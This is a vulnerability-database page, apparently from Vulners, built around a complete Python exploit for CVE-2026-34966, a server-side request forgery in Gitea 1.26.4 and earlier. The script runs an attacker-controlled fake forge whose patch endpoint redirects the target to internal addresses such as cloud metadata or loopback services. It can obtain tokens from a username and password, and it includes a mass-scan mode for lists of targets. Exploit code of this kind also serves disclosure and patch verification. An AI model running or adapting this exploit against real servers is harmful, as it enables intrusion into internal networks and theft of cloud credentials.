📄 Gitea 1.26.4 Server-Side Request Forgery
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| CVE-2026-34966 | 5 Aug 202620:28 | – | attackerkb | |
| CVE-2026-34966 | 5 Aug 202622:00 | – | circl | |
| CVE-2026-34966 | 5 Aug 202620:28 | – | cve | |
| CVE-2026-34966 Gitea prior to 1.27.0 SSRF via Migration URI Fetch Bypass | 5 Aug 202620:28 | – | cvelist | |
| EUVD-2026-53617 | 5 Aug 202620:28 | – | euvd | |
| CVE-2026-34966 | 5 Aug 202621:16 | – | nvd | |
| GHSA-2WM4-VWP6-V7XC Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata | 21 Jul 202621:55 | – | osv | |
| GO-2026-6039 Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata in gitea.dev | 22 Jul 202620:36 | – | osv | |
| CVE-2026-34966 | 6 Aug 202615:54 | – | redhatcve | |
| Server-side Request Forgery (SSRF) | 5 Aug 202623:50 | – | snyk |
10
#!/usr/bin/env python3
"""
CVE-2026-34966 - Gitea authenticated SSRF via unvalidated migration fetches
Affected: Gitea <= 1.26.4 (fixed in 1.27.0)
Type: SSRF (CWE-918)
Gitea's migration importer downloads a pull request's patch with Go's default
http.Client (uri.Open -> http.Get), which has no DialContext and therefore
consults none of the migration host allow/block list. The origin check that
guards the patch URL (CheckAndEnsureSafePR / hasBaseURL) is a one-shot string
prefix test that runs before any request is issued, so an ordinary patch_url on
an allowed host that answers with a 302 to an internal address is followed with
no per-hop validation. The result is a server-side request to any host the
operator's allow-list is supposed to fence off (loopback, private ranges, cloud
instance-metadata), from an authenticated account permitted to run a migration.
How this tool delivers the attack:
The exploit stands up its own throwaway "forge": the small subset of the Gitea
API v1 that the migration downloader touches, a real git repository over smart
HTTP so the mandatory `git clone --mirror` succeeds, and a /patch/<token>
endpoint that 302-redirects to the URL you choose. It then asks the target to
migrate a repository from that forge with the Pull Requests unit enabled. The
target fetches the patch, follows the redirect, and issues the forged request.
Success, observed purely over the network:
1. Control: the same internal URL submitted directly as the migration source is
refused by IsMigrateURLAllowed (HTTP 422, "disallowed hosts").
2. Forged: the migration whose patch redirects to that same internal URL
COMPLETES on a vulnerable build (the server-side fetch reached the target and
answered) and FAILS on a patched build (the redirect hop is blocked at dial
time). The migration outcome is the oracle.
3. Corroboration: the forge's own request log records the target connecting to
/patch/<token> and being redirected toward the internal URL - a server-side
request reaching an attacker-controlled endpoint.
Usage:
# default: run our own forge, target must be able to reach it and allow-list it
python exploit.py --host https://gitea.corp.com --token <api-token> \
--forge-host 203.0.113.10:8080 --ssrf-url http://169.254.169.254/latest/meta-data/
python exploit.py --host 10.0.0.5 --port 3000 --username admin --password s3cret \
--ssrf-url http://127.0.0.1:9000/
# use a forge you are already running elsewhere
python exploit.py --host gitea.corp.com --token <t> \
--forge-url http://forge.example.test:8080 --forge-external \
--ssrf-url http://127.0.0.1:9000/
# batch scan an asset list
python exploit.py --list targets.txt --workers 20 --token <t> \
--forge-host 203.0.113.10:8080 --ssrf-url http://127.0.0.1:9000/
"""
import argparse
import base64
import json
import os
import re
import secrets
import shutil
import socket
import ssl
import subprocess
import sys
import tempfile
import threading
import time
from datetime import datetime, timezone
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import urlparse, quote
import urllib.request
import urllib.error
CVE_ID = "CVE-2026-34966"
VULN_TYPE = "SSRF"
# --------------------------------------------------------------------------- #
# Standard output helpers #
# --------------------------------------------------------------------------- #
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Minimal HTTP client (stdlib only) for talking to the target Gitea #
# --------------------------------------------------------------------------- #
def _http(method, url, headers=None, body=None, timeout=30, auth=None):
"""Return (status, text, headers_dict). Never raises on an HTTP status code."""
data = None
hdrs = dict(headers or {})
if body is not None:
if isinstance(body, (dict, list)):
data = json.dumps(body).encode()
hdrs.setdefault("Content-Type", "application/json")
elif isinstance(body, str):
data = body.encode()
else:
data = body
if auth is not None:
raw = ("%s:%s" % (auth[0], auth[1])).encode()
hdrs["Authorization"] = "Basic " + base64.b64encode(raw).decode()
req = urllib.request.Request(url, data=data, headers=hdrs, method=method)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
text = resp.read().decode("utf-8", "replace")
return resp.getcode(), text, dict(resp.headers)
except urllib.error.HTTPError as e:
text = e.read().decode("utf-8", "replace")
return e.code, text, dict(e.headers or {})
def _base_url(host, port, use_tls, path="/"):
scheme = "https" if use_tls else "http"
netloc = host
default = 443 if use_tls else 80
if port and port != default:
netloc = "%s:%d" % (host, port)
return "%s://%s" % (scheme, netloc)
# --------------------------------------------------------------------------- #
# The forge the target migrates from #
# --------------------------------------------------------------------------- #
#
# Redirect-steering contract, shared by the embedded forge and any external
# forge built to the same convention: the migration's clone_addr repo name is
# "b64-<base64url(redirect_target)>". The forge advertises a pull request whose
# patch_url is /patch/<repo>, and /patch/b64-... answers 302 Location:
# <decoded redirect_target>. So the redirect target is chosen per attempt from
# the clone address alone and the forge never needs reconfiguring.
def encode_redirect(target):
return "b64-" + base64.urlsafe_b64encode(target.encode()).decode().rstrip("=")
def decode_redirect(token):
if not token.startswith("b64-"):
return None
raw = token[4:]
raw += "=" * (-len(raw) % 4)
try:
return base64.urlsafe_b64decode(raw.encode()).decode()
except (ValueError, UnicodeDecodeError):
return None
def _find_git_http_backend():
env = os.environ.get("GIT_HTTP_BACKEND")
if env and os.path.exists(env):
return env
try:
exec_path = subprocess.run(["git", "--exec-path"], capture_output=True,
text=True, timeout=10).stdout.strip()
cand = os.path.join(exec_path, "git-http-backend")
if os.path.exists(cand):
return cand
except (OSError, subprocess.SubprocessError):
pass
for cand in ("/usr/libexec/git-core/git-http-backend",
"/usr/lib/git-core/git-http-backend",
"/Library/Developer/CommandLineTools/usr/libexec/git-core/git-http-backend"):
if os.path.exists(cand):
return cand
return None
def _build_seed_repo(git_root):
"""Create a bare repo with a main and a feat branch so clone --mirror works."""
bare = os.path.join(git_root, "repo.git")
work = os.path.join(git_root, "_work")
env = dict(os.environ)
env.update({
"GIT_AUTHOR_NAME": "dev", "GIT_AUTHOR_EMAIL": "[email protected]",
"GIT_COMMITTER_NAME": "dev", "GIT_COMMITTER_EMAIL": "[email protected]",
})
def g(args, cwd):
subprocess.run(["git"] + args, cwd=cwd, env=env, check=True,
capture_output=True, timeout=60)
subprocess.run(["git", "init", "-q", "--bare", bare], env=env, check=True,
capture_output=True, timeout=60)
os.makedirs(work, exist_ok=True)
g(["init", "-q"], work)
g(["checkout", "-q", "-b", "main"], work)
with open(os.path.join(work, "README"), "w") as fh:
fh.write("seed\n")
g(["add", "-A"], work)
g(["commit", "-q", "-m", "init"], work)
g(["checkout", "-q", "-b", "feat"], work)
with open(os.path.join(work, "feature"), "w") as fh:
fh.write("feature\n")
g(["add", "-A"], work)
g(["commit", "-q", "-m", "feat"], work)
g(["push", "-q", bare, "main", "feat"], work)
subprocess.run(["git", "--git-dir", bare, "update-server-info"], env=env,
check=True, capture_output=True, timeout=60)
return bare
def _git_sha(bare, ref):
try:
out = subprocess.run(["git", "--git-dir", bare, "rev-parse", ref],
capture_output=True, text=True, timeout=10)
sha = out.stdout.strip()
if re.fullmatch(r"[0-9a-f]{40}", sha):
return sha
except (OSError, subprocess.SubprocessError):
pass
return "0" * 40
class EmbeddedForge:
"""In-process stand-in for a remote Gitea instance. Attacker-controlled."""
API_REPO_RE = re.compile(r"^/api/v1/repos/(?P<owner>[^/]+)/(?P<repo>[^/]+)(?P<rest>/.*)?$")
GIT_PATH_RE = re.compile(r"^/(?P<owner>[^/]+)/(?P<repo>[^/]+)\.git(?P<rest>/.*)?$")
def __init__(self, bind_host, bind_port, public_hostport):
self.bind_host = bind_host
self.bind_port = bind_port
self.public = public_hostport # host:port the target uses
self.base = "http://" + public_hostport
self.records = []
self._lock = threading.Lock()
self._tmp = tempfile.mkdtemp(prefix="poc_forge_")
self._backend = _find_git_http_backend()
if not self._backend:
raise RuntimeError("git-http-backend not found; install git or set GIT_HTTP_BACKEND")
self._bare = _build_seed_repo(self._tmp)
self.base_sha = _git_sha(self._bare, "main")
self.head_sha = _git_sha(self._bare, "feat")
self._httpd = None
self._thread = None
# -- log ------------------------------------------------------------- #
def record(self, line):
stamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%S.%fZ")
with self._lock:
self.records.append("%s %s" % (stamp, line))
def log_contains(self, needle):
with self._lock:
return any(needle in r for r in self.records)
def log_text(self):
with self._lock:
return "\n".join(self.records)
# -- lifecycle ------------------------------------------------------- #
def start(self):
forge = self
class Handler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
server_version = "forge"
sys_version = ""
def log_message(self, *a):
pass
def _send(self, code, body=b"", ctype="application/json", extra=None):
if isinstance(body, str):
body = body.encode()
self.send_response(code)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
for k, v in (extra or {}).items():
self.send_header(k, v)
self.end_headers()
if self.command != "HEAD":
self.wfile.write(body)
def _json(self, obj, code=200):
self._send(code, json.dumps(obj), "application/json")
def do_GET(self):
forge._route(self)
def do_HEAD(self):
forge._route(self)
def do_POST(self):
forge._route(self)
self._httpd = ThreadingHTTPServer((self.bind_host, self.bind_port), Handler)
self._thread = threading.Thread(target=self._httpd.serve_forever, daemon=True)
self._thread.start()
return self
def stop(self):
try:
if self._httpd:
self._httpd.shutdown()
finally:
shutil.rmtree(self._tmp, ignore_errors=True)
# -- routing --------------------------------------------------------- #
def _route(self, h):
parsed = urlparse(h.path)
path, query = parsed.path, parsed.query
self.record("%s %s from=%s" % (h.command, h.path, h.client_address[0]))
if path == "/_ctl/health":
return h._send(200, "ok\n", "text/plain")
if path == "/_ctl/log":
return h._send(200, self.log_text() + "\n", "text/plain")
if path.startswith("/patch/"):
token = path[len("/patch/"):]
target = decode_redirect(token)
if target is None:
return h._send(404, "no target\n", "text/plain")
self.record("redirect /patch/%s -> %s" % (token, target))
return h._send(302, b"", "text/plain", {"Location": target})
if path.startswith("/api/v1/"):
return self._api(h, path, query)
if self.GIT_PATH_RE.match(path):
return self._git(h, path, query)
return h._send(404, "not found\n", "text/plain")
# -- Gitea API v1 subset --------------------------------------------- #
def _user(self, login, uid):
return {
"id": uid, "login": login, "login_name": "", "source_id": 0,
"full_name": login, "email": "%[email protected]" % login,
"avatar_url": "%s/avatars/%s" % (self.base, login),
"html_url": "%s/%s" % (self.base, login), "language": "en-US",
"is_admin": False, "last_login": "2026-01-01T00:00:00Z",
"created": "2026-01-01T00:00:00Z", "restricted": False, "active": True,
"prohibit_login": False, "location": "", "website": "", "description": "",
"visibility": "public", "followers_count": 0, "following_count": 0,
"starred_repos_count": 0,
}
def _repo(self, owner, repo):
full = "%s/%s" % (owner, repo)
return {
"id": 1, "owner": self._user(owner, 1), "name": repo, "full_name": full,
"description": "", "empty": False, "private": False, "fork": False,
"template": False, "parent": None, "mirror": False, "size": 8,
"language": "", "languages_url": "%s/api/v1/repos/%s/languages" % (self.base, full),
"html_url": "%s/%s" % (self.base, full), "url": "%s/api/v1/repos/%s" % (self.base, full),
"link": "", "ssh_url": "", "clone_url": "%s/%s.git" % (self.base, full),
"original_url": "", "website": "", "stars_count": 0, "forks_count": 0,
"watchers_count": 0, "open_issues_count": 0, "open_pr_counter": 1,
"release_counter": 0, "default_branch": "main", "archived": False,
"archived_at": "1970-01-01T00:00:00Z", "created_at": "2026-01-01T00:00:00Z",
"updated_at": "2026-01-01T00:00:00Z", "has_issues": True, "has_code": True,
"has_wiki": False, "has_pull_requests": True, "has_projects": False,
"ignore_whitespace_conflicts": False, "allow_fast_forward_only_merge": False,
"allow_merge_commits": True, "allow_rebase": True, "allow_rebase_explicit": True,
"allow_rebase_update": True, "allow_squash_merge": True,
"default_allow_maintainer_edit": False, "avatar_url": "", "internal": False,
"mirror_interval": "", "default_merge_style": "merge", "projects_mode": "all",
"default_delete_branch_after_merge": False, "object_format_name": "sha1",
"topics": [], "licenses": [],
}
def _pull(self, owner, repo):
full = "%s/%s" % (owner, repo)
return {
"id": 1, "url": "%s/api/v1/repos/%s/pulls/1" % (self.base, full), "number": 1,
"user": self._user("devuser", 2), "title": "Add a feature", "body": "",
"labels": [], "milestone": None, "assignee": None, "assignees": [],
"requested_reviewers": [], "requested_reviewers_teams": [], "state": "open",
"draft": False, "is_locked": False, "comments": 0,
"html_url": "%s/%s/pulls/1" % (self.base, full),
"diff_url": "%s/%s/pulls/1.diff" % (self.base, full),
"patch_url": "%s/patch/%s" % (self.base, repo),
"mergeable": True, "merged": False, "merged_at": None,
"merge_commit_sha": None, "merged_by": None, "allow_maintainer_edit": False,
"base": {"label": "main", "ref": "main", "sha": self.base_sha, "repo_id": 1, "repo": None},
"head": {"label": "feat", "ref": "feat", "sha": self.head_sha, "repo_id": 1, "repo": None},
"merge_base": "", "due_date": None, "created_at": "2026-01-01T00:00:00Z",
"updated_at": "2026-01-01T00:00:00Z", "closed_at": None, "pin_order": 0,
}
def _api(self, h, path, query):
if path == "/api/v1/version":
return h._json({"version": "1.24.0"})
if path == "/api/v1/settings/api":
return h._json({"max_response_items": 50, "default_paging_num": 30,
"default_git_trees_per_page": 1000, "default_max_blob_size": 10485760})
m = self.API_REPO_RE.match(path)
if not m:
return h._json([])
owner, repo, rest = m.group("owner"), m.group("repo"), m.group("rest") or ""
if rest == "":
return h._json(self._repo(owner, repo))
if rest == "/topics":
return h._json({"topics": []})
if rest == "/pulls":
page = 1
for part in query.split("&"):
if part.startswith("page="):
try:
page = int(part[len("page="):])
except ValueError:
page = 1
return h._json([self._pull(owner, repo)] if page <= 1 else [])
return h._json([])
# -- git smart HTTP -------------------------------------------------- #
def _git(self, h, path, query):
m = self.GIT_PATH_RE.match(path)
rest = m.group("rest") or "/"
path_info = "/repo.git" + rest
body = b""
length = h.headers.get("Content-Length")
if length:
body = h.rfile.read(int(length))
env = {
"PATH": os.environ.get("PATH", "/usr/bin:/bin"),
"GIT_PROJECT_ROOT": self._tmp,
"GIT_HTTP_EXPORT_ALL": "1",
"REQUEST_METHOD": h.command,
"PATH_INFO": path_info,
"QUERY_STRING": query,
"REMOTE_ADDR": h.client_address[0],
"REMOTE_USER": "anonymous",
"CONTENT_TYPE": h.headers.get("Content-Type", ""),
"CONTENT_LENGTH": length or "",
"HTTP_CONTENT_ENCODING": h.headers.get("Content-Encoding", ""),
"SERVER_PROTOCOL": "HTTP/1.1",
"GIT_HTTP_MAX_REQUEST_BUFFER": "100M",
}
try:
proc = subprocess.run([self._backend], input=body, env=env,
capture_output=True, timeout=120)
except (OSError, subprocess.SubprocessError) as exc:
self.record("git http-backend failed: %s" % exc)
return h._send(500, "backend error\n", "text/plain")
raw = proc.stdout
split = raw.find(b"\r\n\r\n")
sep = 4
if split == -1:
split = raw.find(b"\n\n")
sep = 2
if split == -1:
return h._send(500, "malformed backend response\n", "text/plain")
head, payload = raw[:split], raw[split + sep:]
status, out_headers = 200, []
for line in head.replace(b"\r\n", b"\n").split(b"\n"):
if not line:
continue
name, _, value = line.decode("latin-1").partition(":")
value = value.strip()
if name.lower() == "status":
status = int(value.split()[0])
else:
out_headers.append((name, value))
h.send_response(status)
for name, value in out_headers:
h.send_header(name, value)
h.send_header("Content-Length", str(len(payload)))
h.end_headers()
if h.command != "HEAD":
h.wfile.write(payload)
class ExternalForge:
"""A forge already running elsewhere, built to the same redirect contract."""
def __init__(self, forge_url, log_url=None):
self.base = forge_url.rstrip("/")
self.public = urlparse(self.base).netloc
self._log_url = log_url or (self.base + "/_ctl/log")
def start(self):
return self
def stop(self):
pass
def log_text(self):
try:
_, text, _ = _http("GET", self._log_url, timeout=15)
return text
except Exception:
return ""
def log_contains(self, needle):
return needle in self.log_text()
def _local_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(("203.0.113.1", 9))
return s.getsockname()[0]
except Exception:
return "127.0.0.1"
finally:
s.close()
# --------------------------------------------------------------------------- #
# Target interaction #
# --------------------------------------------------------------------------- #
def _obtain_token(base, username, password, timeout):
"""Create a scoped API token via basic auth. Returns the sha1 or None."""
tname = "svc_%s" % secrets.token_hex(6)
url = "%s/api/v1/users/%s/tokens" % (base, quote(username, safe=""))
body = {"name": tname, "scopes": ["write:repository"]}
code, text, _ = _http("POST", url, body=body, timeout=timeout, auth=(username, password))
if code in (200, 201):
try:
return json.loads(text).get("sha1")
except ValueError:
return None
return None
def _migrate(base, token, clone_addr, repo_name, repo_owner, timeout):
url = "%s/api/v1/repos/migrate" % base
body = {
"clone_addr": clone_addr, "repo_name": repo_name, "repo_owner": repo_owner,
"service": "gitea", "pull_requests": True, "issues": False, "labels": False,
"milestones": False, "releases": False, "wiki": False,
}
return _http("POST", url, headers={"Authorization": "token %s" % token},
body=body, timeout=timeout)
def _delete_repo(base, token, owner, name, timeout=20):
url = "%s/api/v1/repos/%s/%s" % (base, quote(owner, safe=""), quote(name, safe=""))
try:
_http("DELETE", url, headers={"Authorization": "token %s" % token}, timeout=timeout)
except Exception:
pass
def _run_once(base, token, forge, ssrf_url, owner, timeout):
"""Drive one control+forged pair against a single target.
Returns dict: control_refused, migrate_code, migrate_body, redirect_target,
forge_saw_redirect, token_repo.
"""
nonce = secrets.token_hex(6)
target = ssrf_url
if target.endswith("/"):
target = target + nonce # unique path per attempt
repo_token = encode_redirect(target)
# 1. Control: submit the internal URL directly - the allow-list should refuse it.
ctl_name = "tmp-%s" % secrets.token_hex(5)
ctl_code, ctl_text, _ = _migrate(base, token, ssrf_url.rstrip("/") + "/x/y.git",
ctl_name, owner, timeout=min(timeout, 40))
control_refused = ctl_code == 422
_delete_repo(base, token, owner, ctl_name)
# 2. Forged: migrate from the forge; its patch redirects to the internal URL.
clone_addr = "%s/o/%s.git" % (forge.base, repo_token)
repo_name = "tmp-%s" % secrets.token_hex(5)
code, text, _ = _migrate(base, token, clone_addr, repo_name, owner, timeout=timeout)
time.sleep(1.0)
saw = forge.log_contains("/patch/%s" % repo_token) or forge.log_contains(target)
_delete_repo(base, token, owner, repo_name)
return {
"nonce": nonce, "redirect_target": target, "token_repo": repo_token,
"control_refused": control_refused, "control_code": ctl_code,
"control_body": ctl_text[:200], "migrate_code": code, "migrate_body": text[:200],
"forge_saw_redirect": saw,
}
def _verdict(r):
"""(success, short_evidence) from a _run_once result."""
completed = r["migrate_code"] in (200, 201)
if completed and r["forge_saw_redirect"]:
base = ("migration completed via forge redirect to %s" % r["redirect_target"])
if r["control_refused"]:
return True, base + "; same host refused directly (HTTP 422) - allow-list bypassed"
return True, base + " (note: control not refused - host may be unguarded)"
if r["forge_saw_redirect"] and not completed:
return False, ("patch fetched and redirected but migration failed "
"(HTTP %s) - redirect hop blocked (patched) or target closed"
% r["migrate_code"])
if not r["forge_saw_redirect"]:
return False, ("forge never saw the patch fetch (migrate HTTP %s) - "
"migration did not reach the pull-request unit" % r["migrate_code"])
return False, "no exploitation evidence (migrate HTTP %s)" % r["migrate_code"]
# --------------------------------------------------------------------------- #
# Forge acquisition (shared by single and scan modes) #
# --------------------------------------------------------------------------- #
def _acquire_forge(args):
if args.forge_external or args.forge_url:
if not args.forge_url:
raise SystemExit("--forge-external requires --forge-url")
return ExternalForge(args.forge_url, args.forge_log_url).start()
host = args.forge_host or ("%s:%d" % (_local_ip(), args.forge_port))
if ":" in host:
_, p = host.rsplit(":", 1)
bind_port = int(p)
else:
bind_port = args.forge_port
host = "%s:%d" % (host, bind_port)
return EmbeddedForge(args.forge_bind, bind_port, host).start()
def _resolve_token(base, args, timeout=30):
if args.token:
return args.token
if args.username and args.password:
return _obtain_token(base, args.username, args.password, timeout)
return None
# --------------------------------------------------------------------------- #
# Scan mode #
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, path="/", forge=None, args=None):
"""Silent probe for --list. Returns (success, evidence). Never prints/exits."""
try:
base = _base_url(host, port, use_tls, path)
token = _resolve_token(base, args, timeout=20)
if not token:
return False, "no credentials (need --token or --username/--password)"
r = _run_once(base, token, forge, args.ssrf_url, args.repo_owner, timeout=120)
return _verdict(r)
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers, forge, args):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path, forge=forge, args=args)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target exploit #
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, path, forge, args):
header(host, port)
base = _base_url(host, port, use_tls, path)
step(1, "Target %s | forge advertised to target as %s" % (base, forge.base))
step(2, "Obtaining an API token (scope write:repository)")
token = _resolve_token(base, args)
if not token:
section("AUTH", "could not obtain a token")
done(False, "authentication failed - supply --token or --username/--password")
print(" token acquired: %s..." % token[:8])
step(3, "Control - submitting the internal URL directly as the migration source")
step(4, "Forged - migrating from the forge, patch redirects to %s" % args.ssrf_url)
r = _run_once(base, token, forge, args.ssrf_url, args.repo_owner, timeout=240)
section("CONTROL (direct submission of %s)" % args.ssrf_url,
"HTTP %s: %s" % (r["control_code"], r["control_body"]))
section("FORGED MIGRATION",
"HTTP %s: %s" % (r["migrate_code"], r["migrate_body"]))
log_lines = [ln for ln in forge.log_text().splitlines()
if r["token_repo"] in ln or r["redirect_target"] in ln]
if log_lines:
section("FORGE REQUEST LOG (server-side request reaching our endpoint)",
"\n".join(log_lines[-6:]))
success, evidence = _verdict(r)
done(success, evidence)
# --------------------------------------------------------------------------- #
# Entry point #
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (https://host:3000/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
# SSRF class argument
parser.add_argument("--ssrf-url", default="http://127.0.0.1/",
help="URL the server is made to request (default: http://127.0.0.1/). "
"Point at an internal service, loopback port, or cloud metadata IP. "
"A trailing slash gets a per-attempt nonce appended for correlation.")
# Authentication (SSRF here is authenticated)
parser.add_argument("--token", help="Gitea API token (scope write:repository)")
parser.add_argument("--username", help="Account username (used with --password to mint a token)")
parser.add_argument("--password", help="Account password")
parser.add_argument("--repo-owner", default=None, help="Owner for the temporary migrated repo (default: --username)")
# Forge configuration
parser.add_argument("--forge-host", help="host:port the TARGET uses to reach our forge (default: autodetected local IP)")
parser.add_argument("--forge-bind", default="0.0.0.0", help="Address our embedded forge binds to (default: 0.0.0.0)")
parser.add_argument("--forge-port", type=int, default=8080, help="Port our embedded forge listens on (default: 8080)")
parser.add_argument("--forge-url", help="Use an already-running forge at this URL instead of embedding one")
parser.add_argument("--forge-external", action="store_true", help="Do not start an embedded forge; requires --forge-url")
parser.add_argument("--forge-log-url", help="Where to read the external forge's request log (default: <forge-url>/_ctl/log)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if not args.repo_owner:
args.repo_owner = args.username or "root"
forge = _acquire_forge(args)
try:
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, forge=forge, args=args)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, forge, args)
finally:
forge.stop()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.17.6
CVSS 48.3
EPSS0.00314
SSVC